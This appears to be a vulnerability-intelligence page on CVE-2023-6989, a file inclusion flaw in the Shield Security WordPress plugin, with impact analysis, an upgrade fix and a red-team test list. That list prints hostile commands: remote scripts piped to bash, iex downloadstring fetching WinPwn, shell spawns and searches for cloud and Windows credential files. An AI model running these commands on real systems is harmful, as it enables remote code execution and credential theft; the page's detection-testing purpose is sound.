CVE-2023-6989
Overview
This vulnerability is a Local File Inclusion (LFI) flaw rooted in insufficient input validation of the render_action_template parameter within the Shield Security – Smart Bot Blocking & Intrusion Prevention plugin for WordPress. The affected component improperly processes user-supplied input, allowing arbitrary PHP files to be included and executed on the server. This occurs across all plugin versions up to and including 18.5.9, impacting the template rendering functionality.
Vulnerability Description
The Shield Security – Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary PHP code on the web server, potentially leading to full system compromise including data theft, service disruption, or further lateral movement within the network. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), and the vulnerability affects confidentiality, integrity, and availability at a high severity level (CVSS 9.8). This enables attackers to bypass normal security controls and execute commands with the privileges of the web server process.
Solution
To remediate this vulnerability, users must upgrade the Shield Security plugin to a version later than 18.5.9 where the flaw is patched. Detailed patch instructions and version updates are documented in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/063826cc-7ff3-4869-9831-f6a4a4bbe74c. No official workaround is provided; applying the vendor-supplied update is required to mitigate the risk effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Shield Security plugin for WordPress arises from a Local File Inclusion (LFI) flaw, which allows an unauthenticated attacker to manipulate the `render_action_template` parameter. This parameter is not adequately sanitized, enabling an attacker to include arbitrary PHP files from the server's file system. The implications of this flaw are severe, as it permits the execution of any PHP code contained within those files. Given that this vulnerability affects all versions up to and including 18.5.9, it poses a significant risk to any WordPress site utilizing this plugin, particularly those that have not implemented stringent security measures.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious HTTP request that targets the vulnerable parameter, effectively tricking the server into executing local files. For instance, by including sensitive files such as `/etc/passwd` or configuration files containing database credentials, an attacker could gain critical information about the server environment. Furthermore, if the attacker can include a writable file, they could upload their own PHP scripts, leading to remote code execution. This exploitation can be executed remotely, requiring no authentication, which significantly lowers the barrier for attackers and increases the likelihood of widespread exploitation.
The real-world impact of this vulnerability is profound. Organizations utilizing the Shield Security plugin may find themselves exposed to data breaches, unauthorized access, and potential server compromise. The ability to execute arbitrary PHP code can lead to the installation of backdoors, data exfiltration, or even complete server takeover. For businesses, this translates into not only immediate financial losses due to remediation efforts but also long-term reputational damage. The risk of regulatory fines and legal repercussions can further exacerbate the situation, especially for organizations that handle sensitive customer data. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it should be prioritized for immediate remediation.
To detect and mitigate this vulnerability, organizations should first ensure that they are running the latest version of the Shield Security plugin, as updates typically include patches for known vulnerabilities. Regularly auditing plugins and themes for security vulnerabilities is essential to maintain a secure WordPress environment. Additionally, employing a web application firewall (WAF) can help filter out malicious requests before they reach the application layer. Implementing strict file permissions and disabling PHP execution in directories where it is not needed can further reduce the attack surface. Organizations should also conduct regular security assessments and penetration testing to identify and address potential vulnerabilities proactively.
In conclusion, the Local File Inclusion vulnerability in the Shield Security plugin for WordPress presents a critical threat to the security of affected systems. Its ability to allow unauthorized execution of PHP code poses significant risks to data integrity and system availability. Organizations must act swiftly to mitigate this vulnerability through timely updates, robust security practices, and continuous monitoring to safeguard their digital assets against exploitation. The evolving threat landscape necessitates a proactive approach to cybersecurity, ensuring that vulnerabilities are addressed before they can be exploited by malicious actors.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-6989, rising by approximately 12.7% to a current value near 0.70, placing it in the 99th percentile of exploit likelihood. This upward trend, although not classified as rapid, indicates growing confidence within the threat landscape that this vulnerability is exploitable, potentially driven by increased reconnaissance or testing activity observed in our telemetry. While no new exploit techniques or proof-of-concept code have been publicly disclosed, the elevated EPSS suggests that threat actors may be prioritizing this vector for future attacks. For defenders, this shift underscores an elevated risk posture, as the vulnerability’s critical severity combined with its increasing exploitability score heightens the urgency for vigilant monitoring. The change signals a potential forthcoming surge in exploitation attempts, warranting closer attention to related indicators of compromise. Consequently, the threat level associated with CVE-2023-6989 should be considered heightened, reflecting a more imminent exploitation risk despite the absence of confirmed active campaigns.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Getshieldsecurity | Shield Security | All |
cpe:2.3:a:getshieldsecurity:shield_security:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6989 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/063826cc-7ff3-4869-9831-f6a4a4bbe74c?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3013699%40wp-simple-firewall&new=3013699%40wp-simple-firewall&sfp_email=&sfph_mail= |